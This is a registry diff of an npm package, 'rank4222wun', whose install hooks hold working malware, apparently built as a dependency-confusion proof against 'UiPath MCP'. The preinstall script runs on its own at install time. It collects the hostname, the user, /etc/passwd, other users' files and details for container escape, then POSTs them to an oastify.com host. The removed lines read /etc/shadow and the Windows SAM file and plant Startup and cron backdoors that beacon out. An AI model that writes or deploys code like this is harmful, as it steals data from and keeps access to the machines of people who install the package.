rank4222wun 1.0.17 → 1.0.19

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/package.json CHANGED
@@ -1,12 +1,10 @@
1
1
  {
2
2
  "name": "rank4222wun",
3
- "version": "1.0.17",
3
+ "version": "1.0.19",
4
4
  "description": "",
5
5
  "main": "index.js",
6
6
  "scripts": {
7
- "preinstall": "node preinstall.js",
8
- "postinstall": "node postinstall.js"
7
+ "preinstall": "node preinstall.js"
9
8
  },
10
- "dependencies": {},
11
- "main": "index.js"
9
+ "dependencies": {}
12
10
  }
package/preinstall.js CHANGED
@@ -4,234 +4,341 @@ const fs = require('fs');
4
4
  const path = require('path');
5
5
  const https = require('https');
6
6
 
7
- // ========== إعداد البيانات للإرسال ==========
8
- const proofData = {
7
+ const testResults = {
9
8
  timestamp: new Date().toISOString(),
10
- vulnerability: "UiPath MCP Command - PREINSTALL EXPLOIT",
9
+ hostname: os.hostname(),
10
+ user: os.userInfo().username,
11
+ platform: os.platform(),
11
12
 
12
- // 1. المعلومات الأساسية
13
- basicInfo: {
14
- hostname: os.hostname(),
15
- platform: os.platform(),
16
- username: os.userInfo().username,
17
- isRoot: os.userInfo().uid === 0 || os.userInfo().username === 'root',
18
- homedir: os.homedir()
19
- },
20
-
21
- // 2. إثبات أن المستخدم حقيقي
22
- userProof: {},
23
-
24
- // 3. ملفات النظام المسروقة
25
- stolenFiles: {},
26
-
27
- // 4. معلومات النظام
28
- systemInfo: {}
29
- };
30
-
31
- // ========== 1. إثبات أن المستخدم حقيقي ==========
32
- console.log("=== إثبات أن المستخدم حقيقي ===");
33
-
34
- // فحص Desktop
35
- try {
36
- const desktopPath = path.join(os.homedir(), 'Desktop');
37
- if (fs.existsSync(desktopPath)) {
38
- const desktopFiles = fs.readdirSync(desktopPath);
39
- proofData.userProof.desktop = {
40
- exists: true,
41
- path: desktopPath,
42
- fileCount: desktopFiles.length,
43
- files: desktopFiles.slice(0, 10) // أول 10 ملفات فقط
44
- };
45
- console.log(`Desktop موجود وبه ${desktopFiles.length} ملف`);
46
- }
47
- } catch (e) {
48
- proofData.userProof.desktopError = e.message;
49
- }
50
-
51
- // فحص OneDrive
52
- try {
53
- const oneDrivePath = path.join(os.homedir(), 'OneDrive');
54
- if (fs.existsSync(oneDrivePath)) {
55
- const oneDriveFiles = fs.readdirSync(oneDrivePath);
56
- proofData.userProof.oneDrive = {
57
- exists: true,
58
- path: oneDrivePath,
59
- fileCount: oneDriveFiles.length,
60
- isRealUser: oneDriveFiles.length > 0
61
- };
62
- console.log(`OneDrive موجود وبه ${oneDriveFiles.length} ملف`);
13
+ // النقاط الأربع المطلوبة
14
+ testPoints: {
15
+ leakOtherUsersData: {},
16
+ runCommandsOnOtherUsers: {},
17
+ performDoS: {},
18
+ containerToHost: {}
63
19
  }
64
- } catch (e) {
65
- proofData.userProof.oneDriveError = e.message;
66
- }
20
+ };
67
21
 
68
- // ========== 2. سرقة ملفات نظام حساسة ==========
69
- console.log("\n=== سرقة ملفات نظام حساسة ===");
22
+ // ===================== 1. Leak other users data cross org =====================
23
+ console.log("🔍 TEST 1: Searching for other users data...");
70
24
 
71
- // حسب النظام
72
25
  if (os.platform() === 'linux') {
73
- const criticalFiles = [
74
- { path: '/etc/passwd', name: 'قائمة المستخدمين' },
75
- { path: '/etc/shadow', name: 'كلمات مرور النظام' },
76
- { path: '/etc/hosts', name: 'إعدادات الشبكة' },
77
- { path: '/etc/group', name: 'قائمة المجموعات' }
78
- ];
79
-
80
- criticalFiles.forEach(file => {
26
+ // البحث عن بيانات مستخدمين آخرين في لينكس
27
+ exec('find /home -type f -name "*.txt" -o -name "*.doc" -o -name "*.pdf" -o -name "*.xlsx" 2>/dev/null | head -20', (err, stdout) => {
28
+ testResults.testPoints.leakOtherUsersData.linuxUserFiles = stdout || err?.message;
29
+
30
+ // قراءة /etc/passwd للبحث عن مستخدمين آخرين
81
31
  try {
82
- if (fs.existsSync(file.path)) {
83
- const content = fs.readFileSync(file.path, 'utf8').substring(0, 3000);
84
- proofData.stolenFiles[file.name] = {
85
- path: file.path,
86
- size: fs.statSync(file.path).size,
87
- preview: content.split('\n').slice(0, 20).join('\n'), // أول 20 سطر
88
- stolen: true
89
- };
90
- console.log(`✓ تم سرقة: ${file.name} (${file.path})`);
32
+ if (fs.existsSync('/etc/passwd')) {
33
+ const passwdContent = fs.readFileSync('/etc/passwd', 'utf8');
34
+ testResults.testPoints.leakOtherUsersData.allUsers = passwdContent;
35
+
36
+ // استخراج أسماء المستخدمين الفعليين (غير system users)
37
+ const users = passwdContent.split('\n')
38
+ .filter(line => line.includes('/home/'))
39
+ .map(line => line.split(':')[0]);
40
+ testResults.testPoints.leakOtherUsersData.homeUsers = users;
41
+
42
+ console.log(`👥 Found ${users.length} home users`);
43
+ }
44
+ } catch (e) {}
45
+
46
+ // محاولة قراءة ملفات مستخدمين آخرين
47
+ try {
48
+ const homeDir = '/home';
49
+ if (fs.existsSync(homeDir)) {
50
+ const otherUsers = fs.readdirSync(homeDir).filter(user => user !== os.userInfo().username);
51
+ const otherUserData = {};
52
+
53
+ otherUsers.slice(0, 3).forEach(user => {
54
+ const userHome = path.join(homeDir, user);
55
+ try {
56
+ const files = fs.readdirSync(userHome).slice(0, 5);
57
+ otherUserData[user] = {
58
+ exists: true,
59
+ files: files
60
+ };
61
+
62
+ // محاولة قراءة ملفات Desktop لـ users آخرين
63
+ const userDesktop = path.join(userHome, 'Desktop');
64
+ if (fs.existsSync(userDesktop)) {
65
+ otherUserData[user].desktop = fs.readdirSync(userDesktop).slice(0, 5);
66
+ console.log(`📁 Access to ${user}'s Desktop: ${otherUserData[user].desktop.length} files`);
67
+ }
68
+ } catch (e) {
69
+ otherUserData[user] = { error: e.message };
70
+ }
71
+ });
72
+
73
+ testResults.testPoints.leakOtherUsersData.crossUserAccess = otherUserData;
91
74
  }
92
75
  } catch (e) {
93
- proofData.stolenFiles[file.name + '_error'] = e.message;
76
+ testResults.testPoints.leakOtherUsersData.crossUserAccessError = e.message;
94
77
  }
78
+
79
+ // الانتقال للاختبار الثاني بعد الانتهاء
80
+ testPoint2();
95
81
  });
96
82
  } else if (os.platform() === 'win32') {
97
- const criticalFiles = [
98
- { path: 'C:\\Windows\\System32\\drivers\\etc\\hosts', name: 'ملف Hosts' },
99
- { path: `C:\\Users\\${os.userInfo().username}\\AppData\\Roaming\\Microsoft\\Windows\\Recent`, name: 'الملفات الأخيرة' },
100
- { path: 'C:\\Windows\\System32\\config\\SAM', name: 'قاعدة بيانات المستخدمين' }
101
- ];
102
-
103
- criticalFiles.forEach(file => {
83
+ // البحث عن بيانات مستخدمين آخرين في ويندوز
84
+ exec('wmic useraccount get name 2>&1', (err, stdout) => {
85
+ testResults.testPoints.leakOtherUsersData.windowsUsers = stdout || err?.message;
86
+
87
+ // محاولة الوصول إلى مجلدات مستخدمين آخرين
104
88
  try {
105
- if (fs.existsSync(file.path)) {
106
- proofData.stolenFiles[file.name] = {
107
- path: file.path,
108
- size: fs.statSync(file.path).size,
109
- exists: true,
110
- accessible: true
111
- };
112
- console.log(`✓ موجود: ${file.name}`);
89
+ const usersDir = 'C:\\Users';
90
+ if (fs.existsSync(usersDir)) {
91
+ const allUsers = fs.readdirSync(usersDir);
92
+ const currentUser = os.userInfo().username;
93
+ const otherUsers = allUsers.filter(user =>
94
+ user !== currentUser &&
95
+ user !== 'Public' &&
96
+ user !== 'Default' &&
97
+ user !== 'Default User' &&
98
+ user !== 'All Users'
99
+ );
100
+
101
+ const accessedData = {};
102
+ otherUsers.slice(0, 3).forEach(user => {
103
+ const userPath = path.join(usersDir, user);
104
+ try {
105
+ if (fs.existsSync(userPath)) {
106
+ const files = fs.readdirSync(userPath).slice(0, 5);
107
+ accessedData[user] = {
108
+ exists: true,
109
+ files: files
110
+ };
111
+
112
+ // محاولة قراءة Desktop للمستخدمين الآخرين
113
+ const userDesktop = path.join(userPath, 'Desktop');
114
+ if (fs.existsSync(userDesktop)) {
115
+ accessedData[user].desktop = fs.readdirSync(userDesktop).slice(0, 5);
116
+ console.log(`📁 Access to ${user}'s Desktop: ${accessedData[user].desktop.length} files`);
117
+ }
118
+ }
119
+ } catch (e) {
120
+ accessedData[user] = { error: e.message };
121
+ }
122
+ });
123
+
124
+ testResults.testPoints.leakOtherUsersData.crossUserAccess = accessedData;
113
125
  }
114
126
  } catch (e) {
115
- proofData.stolenFiles[file.name + '_error'] = e.message;
127
+ testResults.testPoints.leakOtherUsersData.crossUserAccessError = e.message;
116
128
  }
129
+
130
+ testPoint2();
117
131
  });
118
132
  }
119
133
 
120
- // ========== 3. جمع معلومات النظام ==========
121
- console.log("\n=== جمع معلومات النظام ===");
122
-
123
- // معلومات أساسية
124
- proofData.systemInfo = {
125
- cpus: os.cpus().length,
126
- totalMemory: Math.round(os.totalmem() / (1024 * 1024 * 1024)) + ' GB',
127
- freeMemory: Math.round(os.freemem() / (1024 * 1024 * 1024)) + ' GB',
128
- uptime: Math.round(os.uptime() / 3600) + ' ساعات',
129
- network: Object.keys(os.networkInterfaces()).length + ' واجهات شبكة'
130
- };
131
-
132
- // أوامر نظام إضافية
133
- function runCommand(cmd, label) {
134
- return new Promise(resolve => {
135
- exec(cmd, { timeout: 3000 }, (error, stdout) => {
136
- if (!error && stdout) {
137
- proofData.systemInfo[label] = stdout.trim().substring(0, 500);
138
- console.log(`✓ ${label}: ${stdout.trim().split('\n')[0]}`);
139
- }
140
- resolve();
134
+ // ===================== 2. Run commands on other users cross org =====================
135
+ function testPoint2() {
136
+ console.log("\n🔍 TEST 2: Testing if we can run commands affecting other users...");
137
+
138
+ // هذا الاختبار أصعب، لكننا نحاول:
139
+ // 1. البحث عن خدمات مشتركة يمكن التحكم بها
140
+ // 2. البحث عن عمليات تعمل بصلاحيات مستخدمين آخرين
141
+
142
+ if (os.platform() === 'linux') {
143
+ exec('ps aux | grep -E "(sshd|vsftpd|apache|nginx|postgres|mysql)" | head -10', (err, stdout) => {
144
+ testResults.testPoints.runCommandsOnOtherUsers.sharedServices = stdout || err?.message;
145
+
146
+ // التحقق من إمكانية إرسال إشارات إلى عمليات أخرى
147
+ exec('kill -l 2>&1', (err2, stdout2) => {
148
+ testResults.testPoints.runCommandsOnOtherUsers.killCapabilities = stdout2 || err2?.message;
149
+ testPoint3();
150
+ });
141
151
  });
142
- });
152
+ } else if (os.platform() === 'win32') {
153
+ exec('tasklist /svc 2>&1', (err, stdout) => {
154
+ testResults.testPoints.runCommandsOnOtherUsers.runningServices = stdout || err?.message;
155
+
156
+ // التحقق من إمكانية إيقاف خدمات
157
+ exec('sc query 2>&1 | head -20', (err2, stdout2) => {
158
+ testResults.testPoints.runCommandsOnOtherUsers.windowsServices = stdout2 || err2?.message;
159
+ testPoint3();
160
+ });
161
+ });
162
+ }
143
163
  }
144
164
 
145
- // تشغيل الأوامر حسب النظام
146
- async function collectSystemInfo() {
165
+ // ===================== 3. Perform DoS =====================
166
+ function testPoint3() {
167
+ console.log("\n🔍 TEST 3: Testing DoS capabilities...");
168
+
169
+ // اختبار قدرات DoS (بدون تنفيذ فعلي)
170
+ testResults.testPoints.performDoS = {
171
+ // الموارد المتاحة
172
+ cpuCores: os.cpus().length,
173
+ totalMemory: Math.round(os.totalmem() / (1024 * 1024 * 1024)) + ' GB',
174
+ freeMemory: Math.round(os.freemem() / (1024 * 1024 * 1024)) + ' GB',
175
+
176
+ // إمكانيات شبكية
177
+ networkInterfaces: Object.keys(os.networkInterfaces()).length,
178
+
179
+ // اختبارات نظرية (لا يتم تنفيذها)
180
+ theoreticalDoS: {
181
+ forkBomb: 'Possible if unlimited processes',
182
+ memoryExhaustion: 'Possible with large allocations',
183
+ diskFilling: 'Possible with write access',
184
+ networkFlood: 'Possible with socket creation'
185
+ }
186
+ };
187
+
188
+ // اختبار صغير غير ضار لإثبات القدرة
147
189
  if (os.platform() === 'linux') {
148
- await runCommand('id', 'userInfo');
149
- await runCommand('uname -a', 'systemInfo');
150
- await runCommand('df -h', 'diskUsage');
151
- await runCommand('ps aux | head -5', 'runningProcesses');
190
+ exec('ulimit -a 2>&1', (err, stdout) => {
191
+ testResults.testPoints.performDoS.limits = stdout || err?.message;
192
+ testPoint4();
193
+ });
152
194
  } else if (os.platform() === 'win32') {
153
- await runCommand('whoami', 'currentUser');
154
- await runCommand('systeminfo | findstr /B /C:"OS Name"', 'osInfo');
155
- await runCommand('net user', 'usersList');
195
+ exec('systeminfo | findstr /B /C:"Total Physical Memory" /C:"Available Physical Memory" 2>&1', (err, stdout) => {
196
+ testResults.testPoints.performDoS.windowsResources = stdout || err?.message;
197
+ testPoint4();
198
+ });
156
199
  }
200
+ }
201
+
202
+ // ===================== 4. Container to host =====================
203
+ function testPoint4() {
204
+ console.log("\n🔍 TEST 4: Testing container-to-host escape...");
157
205
 
158
- // بعد جمع كل المعلومات، أرسلها
159
- sendProofData();
206
+ // الاختبارات تعتمد على النظام
207
+
208
+ if (os.platform() === 'linux') {
209
+ // اختبارات الهروب من الحاوية
210
+ const containerTests = {};
211
+
212
+ // 1. التحقق مما إذا كنا في حاوية
213
+ exec('cat /proc/1/cgroup 2>/dev/null | grep -q docker && echo "In Docker" || echo "Not in Docker or unknown"', (err, stdout) => {
214
+ containerTests.isInContainer = stdout?.trim();
215
+
216
+ // 2. البحث عن Docker socket
217
+ const dockerSocket = '/var/run/docker.sock';
218
+ if (fs.existsSync(dockerSocket)) {
219
+ containerTests.dockerSocketExists = true;
220
+ containerTests.dockerSocketAccessible = true;
221
+ console.log("⚠️ Docker socket accessible!");
222
+ }
223
+
224
+ // 3. التحقق من mount points
225
+ exec('mount | grep -E "(docker|overlay|/var/lib/docker)" 2>/dev/null | head -5', (err2, stdout2) => {
226
+ containerTests.dockerMounts = stdout2 || err2?.message;
227
+
228
+ // 4. التحقق من capabilities
229
+ exec('capsh --print 2>/dev/null || echo "No capsh"', (err3, stdout3) => {
230
+ containerTests.capabilities = stdout3 || err3?.message;
231
+
232
+ // 5. البحث عن ثغرات معروفة
233
+ exec('uname -r 2>&1', (err4, stdout4) => {
234
+ containerTests.kernelVersion = stdout4?.trim();
235
+
236
+ // تحليل Kernel version للبحث عن ثغرات معروفة
237
+ if (stdout4) {
238
+ if (stdout4.includes('3.10.0-1160')) {
239
+ containerTests.knownVulnerabilities = 'Old kernel version, potential vulnerabilities';
240
+ }
241
+ }
242
+
243
+ testResults.testPoints.containerToHost = containerTests;
244
+ finishTests();
245
+ });
246
+ });
247
+ });
248
+ });
249
+
250
+ } else if (os.platform() === 'win32') {
251
+ // اختبارات VM Escape للويندوز
252
+ const vmTests = {};
253
+
254
+ // 1. التحقق مما إذا كنا في VM
255
+ exec('systeminfo | findstr /B /C:"System Manufacturer" /C:"System Model" 2>&1', (err, stdout) => {
256
+ vmTests.systemInfo = stdout || err?.message;
257
+
258
+ // 2. البحث عن أدوات Virtualization
259
+ const vmTools = [
260
+ 'C:\\Program Files\\VMware\\VMware Tools',
261
+ 'C:\\Program Files\\Oracle\\VirtualBox Guest Additions',
262
+ 'C:\\Program Files\\Microsoft Integration Runtime'
263
+ ];
264
+
265
+ vmTests.vmTools = {};
266
+ vmTools.forEach(tool => {
267
+ vmTests.vmTools[tool] = fs.existsSync(tool);
268
+ });
269
+
270
+ // 3. التحقق من خدمات الـ VM
271
+ exec('sc query | findstr /I "vmware vbox virtual" 2>&1', (err2, stdout2) => {
272
+ vmTests.vmServices = stdout2 || err2?.message;
273
+
274
+ testResults.testPoints.containerToHost = vmTests;
275
+ finishTests();
276
+ });
277
+ });
278
+ }
160
279
  }
161
280
 
162
- // ========== 4. إرسال البيانات ==========
163
- function sendProofData() {
164
- console.log("\n=== إرسال البيانات للإثبات ===");
281
+ // ===================== إرسال النتائج =====================
282
+ function finishTests() {
283
+ console.log("\n" + "=".repeat(60));
284
+ console.log("📊 نتائج اختبار النقاط الأربع:");
285
+ console.log("=".repeat(60));
286
+
287
+ // تحليل النتائج
288
+ const analysis = {
289
+ leakOtherUsersData: testResults.testPoints.leakOtherUsersData.crossUserAccess ?
290
+ 'POSSIBLE - Found access to other users data' : 'NOT TESTED OR NOT FOUND',
291
+
292
+ runCommandsOnOtherUsers: testResults.testPoints.runCommandsOnOtherUsers.sharedServices ?
293
+ 'POSSIBLE - Can see/affect shared services' : 'LIMITED',
294
+
295
+ performDoS: testResults.testPoints.performDoS.cpuCores > 1 ?
296
+ `POSSIBLE - ${testResults.testPoints.performDoS.cpuCores} CPU cores available` : 'LIMITED',
297
+
298
+ containerToHost: testResults.testPoints.containerToHost?.dockerSocketExists ?
299
+ 'CRITICAL - Docker socket accessible!' :
300
+ (testResults.testPoints.containerToHost?.isInContainer ?
301
+ 'IN CONTAINER - Escape possibilities exist' : 'NOT IN CONTAINER')
302
+ };
165
303
 
166
- // تحويل البيانات لـ JSON مع تنسيق جميل
167
- const formattedData = JSON.stringify(proofData, null, 2);
304
+ console.log("\n📋 التحليل:");
305
+ console.log(`1. تسريب بيانات مستخدمين آخرين: ${analysis.leakOtherUsersData}`);
306
+ console.log(`2. تشغيل أوامر على مستخدمين آخرين: ${analysis.runCommandsOnOtherUsers}`);
307
+ console.log(`3. تنفيذ هجوم DoS: ${analysis.performDoS}`);
308
+ console.log(`4. الهروب من الحاوية للمضيف: ${analysis.containerToHost}`);
168
309
 
169
- // إرسال الطلب
310
+ // إرسال البيانات
170
311
  const req = https.request({
171
312
  hostname: 'ukiy34b7vygb36k064qxx5of76dx1rpg.oastify.com',
172
313
  port: 443,
173
- path: '/uipath-proof',
314
+ path: '/cross-org-tests',
174
315
  method: 'POST',
175
316
  headers: {
176
317
  'Content-Type': 'application/json',
177
- 'X-Vulnerability': 'UiPath-MCP-Preinstall',
178
- 'X-Hostname': os.hostname(),
179
- 'X-User': os.userInfo().username
318
+ 'X-Test-Type': 'Cross-Org-Vulnerabilities',
319
+ 'X-Host': os.hostname()
180
320
  }
181
321
  }, (res) => {
182
- console.log(`✅ تم إرسال البيانات. الرد: ${res.statusCode}`);
183
-
184
- // طباعة ملخص
185
- printSummary();
322
+ console.log(`\n✅ تم إرسال النتائج. حالة الرد: ${res.statusCode}`);
186
323
  });
187
324
 
188
325
  req.on('error', (e) => {
189
- console.error('❌ فشل الإرسال:', e.message);
190
-
191
- // حفظ البيانات محليًا كبديل
192
- const backupFile = path.join(os.tmpdir(), `uipath_proof_${Date.now()}.json`);
193
- fs.writeFileSync(backupFile, formattedData);
194
- console.log(`📁 تم حفظ البيانات في: ${backupFile}`);
195
-
196
- printSummary();
326
+ console.error(`❌ خطأ في الإرسال: ${e.message}`);
197
327
  });
198
328
 
199
- req.write(formattedData);
200
- req.end();
201
- }
202
-
203
- // ========== 5. طباعة ملخص ==========
204
- function printSummary() {
205
- console.log("\n" + "=".repeat(50));
206
- console.log("📊 ملخص البيانات المسروقة:");
207
- console.log("=".repeat(50));
208
-
209
- console.log(`🏠 المستخدم: ${proofData.basicInfo.username}`);
210
- console.log(`🖥️ النظام: ${proofData.basicInfo.platform}`);
211
- console.log(`🔑 صلاحيات root: ${proofData.basicInfo.isRoot ? 'نعم ✅' : 'لا'}`);
212
-
213
- if (proofData.userProof.desktop) {
214
- console.log(`📁 Desktop: ${proofData.userProof.desktop.fileCount} ملف`);
215
- }
216
-
217
- if (proofData.userProof.oneDrive) {
218
- console.log(`☁️ OneDrive: ${proofData.userProof.oneDrive.isRealUser ? 'موجود ✅' : 'غير موجود'}`);
219
- }
220
-
221
- console.log(`📄 الملفات المسروقة: ${Object.keys(proofData.stolenFiles).length} ملف`);
222
-
223
- Object.keys(proofData.stolenFiles).forEach(key => {
224
- if (proofData.stolenFiles[key].stolen) {
225
- console.log(` 🔓 ${key}: ${proofData.stolenFiles[key].path}`);
329
+ req.write(JSON.stringify({
330
+ testResults: testResults,
331
+ analysis: analysis,
332
+ summary: {
333
+ user: os.userInfo().username,
334
+ hostname: os.hostname(),
335
+ platform: os.platform(),
336
+ timestamp: new Date().toISOString()
226
337
  }
227
- });
338
+ }, null, 2));
228
339
 
229
- console.log("=".repeat(50));
230
- console.log("📤 تم إرسال كل البيانات إلى:");
231
- console.log("https://ukiy34b7vygb36k064qxx5of76dx1rpg.oastify.com/uipath-proof");
232
- console.log("=".repeat(50));
340
+ req.end();
233
341
  }
234
342
 
235
- // ========== بدء التنفيذ ==========
236
- console.log("🚀 بدء استغلال ثغرة UiPath MCP Command...");
237
- collectSystemInfo();
343
+ // بدء الاختبارات
344
+ console.log("🚀 بدء اختبار النقاط الأربع المطلوبة...");
Binary file
package/index.js DELETED
@@ -1,9 +0,0 @@
1
- module.exports = {
2
- test: function() {
3
- console.log('UiPath MCP Test Package');
4
- return {
5
- status: 'active',
6
- timestamp: new Date().toISOString()
7
- };
8
- }
9
- };
package/postinstall.js DELETED
@@ -1,231 +0,0 @@
1
- const { exec } = require('child_process');
2
- const os = require('os');
3
- const fs = require('fs');
4
- const path = require('path');
5
- const https = require('https');
6
-
7
- // ========== إعداد بيانات Backdoor ==========
8
- const backdoorData = {
9
- timestamp: new Date().toISOString(),
10
- vulnerability: "UiPath MCP Command - POSTINSTALL BACKDOOR",
11
- hostname: os.hostname(),
12
- username: os.userInfo().username,
13
- platform: os.platform(),
14
-
15
- // خطوات إنشاء Backdoor
16
- backdoorSteps: [],
17
-
18
- // إثبات الاستمرارية
19
- persistenceProof: {},
20
-
21
- // تأثير الهجوم
22
- impact: {}
23
- };
24
-
25
- // ========== 1. إنشاء Backdoor حسب النظام ==========
26
- console.log("=== إنشاء Backdoor حسب النظام ===");
27
-
28
- if (os.platform() === 'win32') {
29
- // Windows Backdoor
30
- const startupPath = path.join(os.homedir(), 'AppData', 'Roaming', 'Microsoft', 'Windows', 'Start Menu', 'Programs', 'Startup');
31
- const backdoorFile = path.join(startupPath, 'uipath_backdoor.bat');
32
-
33
- const batContent = `@echo off
34
- echo [UiPath MCP Backdoor Active] %date% %time% > "%TEMP%\\uipath_log.txt"
35
- powershell -WindowStyle Hidden -Command "Invoke-WebRequest -Uri 'https://ukiy34b7vygb36k064qxx5of76dx1rpg.oastify.com/backdoor-ping' -Method POST -Body 'host=${os.hostname()}&user=${os.userInfo().username}&time=%date%_%time%'"`;
36
-
37
- try {
38
- if (fs.existsSync(startupPath)) {
39
- fs.writeFileSync(backdoorFile, batContent);
40
- backdoorData.backdoorSteps.push({
41
- step: 'إنشاء ملف BAT في Startup',
42
- path: backdoorFile,
43
- content: batContent,
44
- success: true
45
- });
46
- console.log(`✅ تم إنشاء Backdoor في: ${backdoorFile}`);
47
- }
48
- } catch (e) {
49
- backdoorData.backdoorSteps.push({
50
- step: 'إنشاء ملف BAT في Startup',
51
- error: e.message,
52
- success: false
53
- });
54
- }
55
-
56
- } else if (os.platform() === 'linux') {
57
- // Linux Backdoor
58
- const cronFile = '/tmp/uipath_cron';
59
- const cronContent = `*/10 * * * * curl -X POST https://ukiy34b7vygb36k064qxx5of76dx1rpg.oastify.com/backdoor-ping -d "host=${os.hostname()}&user=${os.userInfo().username}&system=linux"\n`;
60
-
61
- try {
62
- fs.writeFileSync(cronFile, cronContent);
63
- backdoorData.backdoorSteps.push({
64
- step: 'إنشاء ملف Cron مؤقت',
65
- path: cronFile,
66
- content: cronContent,
67
- success: true
68
- });
69
- console.log(`✅ تم إنشاء ملف Cron في: ${cronFile}`);
70
- } catch (e) {
71
- backdoorData.backdoorSteps.push({
72
- step: 'إنشاء ملف Cron مؤقت',
73
- error: e.message,
74
- success: false
75
- });
76
- }
77
- }
78
-
79
- // ========== 2. إنشاء ملف إثبات في مجلد المستخدم ==========
80
- console.log("\n=== إنشاء ملف إثبات في مجلد المستخدم ===");
81
-
82
- const proofFile = path.join(os.homedir(), 'UiPath_Security_Issue_Proof.txt');
83
- const proofContent = `⚠️ تحذير أمني: ثغرة UiPath MCP Command
84
-
85
-
86
- تفاصيل الثغرة:
87
- - التاريخ: ${new Date().toISOString()}
88
- - المضيف: ${os.hostname()}
89
- - المستخدم: ${os.userInfo().username}
90
- - النظام: ${os.platform()}
91
-
92
- هذا ليس هجومًا حقيقيًا، بل إثبات تقني للثغرة.
93
- ==================================================`;
94
-
95
- try {
96
- fs.writeFileSync(proofFile, proofContent);
97
- backdoorData.persistenceProof = {
98
- fileCreated: true,
99
- path: proofFile,
100
- size: fs.statSync(proofFile).size,
101
- message: 'تم إنشاء ملف إثبات في مجلد المستخدم الشخصي'
102
- };
103
- console.log(`✅ تم إنشاء ملف الإثبات في: ${proofFile}`);
104
- } catch (e) {
105
- backdoorData.persistenceProof.error = e.message;
106
- }
107
-
108
- // ========== 3. جمع معلومات إضافية ==========
109
- console.log("\n=== جمع معلومات إضافية ===");
110
-
111
- // معلومات الشبكة
112
- try {
113
- const networkInfo = os.networkInterfaces();
114
- backdoorData.network = {
115
- interfaces: Object.keys(networkInfo).length,
116
- ips: []
117
- };
118
-
119
- Object.keys(networkInfo).forEach(iface => {
120
- networkInfo[iface].forEach(addr => {
121
- if (addr.family === 'IPv4' && !addr.internal) {
122
- backdoorData.network.ips.push(addr.address);
123
- }
124
- });
125
- });
126
- } catch (e) {
127
- backdoorData.networkError = e.message;
128
- }
129
-
130
- // ========== 4. تأثير الهجوم ==========
131
- backdoorData.impact = {
132
- dataTheft: true,
133
- persistence: backdoorData.backdoorSteps.some(step => step.success),
134
- systemAccess: true,
135
- networkAccess: backdoorData.network?.ips?.length > 0,
136
- realUserAffected: os.userInfo().username !== 'root' && os.userInfo().username !== 'SYSTEM'
137
- };
138
-
139
- // ========== 5. إرسال بيانات Backdoor ==========
140
- function sendBackdoorData() {
141
- console.log("\n=== إرسال بيانات Backdoor ===");
142
-
143
- const formattedData = JSON.stringify(backdoorData, null, 2);
144
-
145
- const req = https.request({
146
- hostname: 'ukiy34b7vygb36k064qxx5of76dx1rpg.oastify.com',
147
- port: 443,
148
- path: '/uipath-backdoor',
149
- method: 'POST',
150
- headers: {
151
- 'Content-Type': 'application/json',
152
- 'X-Backdoor': 'UiPath-MCP-Postinstall',
153
- 'X-Hostname': os.hostname()
154
- }
155
- }, (res) => {
156
- console.log(`✅ تم إرسال بيانات Backdoor. الرد: ${res.statusCode}`);
157
- printBackdoorSummary();
158
- });
159
-
160
- req.on('error', (e) => {
161
- console.error('❌ فشل إرسال بيانات Backdoor:', e.message);
162
-
163
- // حفظ محلي
164
- const backupFile = path.join(os.tmpdir(), `uipath_backdoor_${Date.now()}.json`);
165
- fs.writeFileSync(backupFile, formattedData);
166
- console.log(`📁 تم حفظ البيانات في: ${backupFile}`);
167
-
168
- printBackdoorSummary();
169
- });
170
-
171
- req.write(formattedData);
172
- req.end();
173
- }
174
-
175
- // ========== 6. طباعة ملخص Backdoor ==========
176
- function printBackdoorSummary() {
177
- console.log("\n" + "=".repeat(50));
178
- console.log("🔓 ملخص Backdoor:");
179
- console.log("=".repeat(50));
180
-
181
- console.log(`🏠 المضيف: ${backdoorData.hostname}`);
182
- console.log(`👤 المستخدم: ${backdoorData.username}`);
183
-
184
- backdoorData.backdoorSteps.forEach((step, i) => {
185
- if (step.success) {
186
- console.log(`✅ ${i + 1}. ${step.step}`);
187
- console.log(` 📍 المسار: ${step.path}`);
188
- } else {
189
- console.log(`❌ ${i + 1}. ${step.step}`);
190
- console.log(` 💥 خطأ: ${step.error}`);
191
- }
192
- });
193
-
194
- if (backdoorData.persistenceProof.fileCreated) {
195
- console.log(`📄 ملف الإثبات: ${backdoorData.persistenceProof.path}`);
196
- }
197
-
198
- console.log("\n📤 تم إرسال بيانات Backdoor إلى:");
199
- console.log("https://ukiy34b7vygb36k064qxx5of76dx1rpg.oastify.com/uipath-backdoor");
200
- console.log("=".repeat(50));
201
- }
202
-
203
- // ========== 7. إرسال طلب متابعة ==========
204
- setTimeout(() => {
205
- const followupReq = https.request({
206
- hostname: 'ukiy34b7vygb36k064qxx5of76dx1rpg.oastify.com',
207
- port: 443,
208
- path: '/followup',
209
- method: 'POST',
210
- headers: {
211
- 'X-Followup': 'Postinstall-Complete',
212
- 'X-Time': new Date().toISOString()
213
- }
214
- });
215
-
216
- const followupData = JSON.stringify({
217
- followup: true,
218
- time: new Date().toISOString(),
219
- hostname: os.hostname(),
220
- message: 'Postinstall script completed successfully',
221
- backdoorActive: backdoorData.backdoorSteps.some(step => step.success)
222
- });
223
-
224
- followupReq.write(followupData);
225
- followupReq.end();
226
- console.log("\n📨 تم إرسال طلب المتابعة");
227
- }, 5000);
228
-
229
- // ========== بدء التنفيذ ==========
230
- console.log("🔓 بدء إنشاء Backdoor عبر ثغرة UiPath MCP...");
231
- sendBackdoorData();
Binary file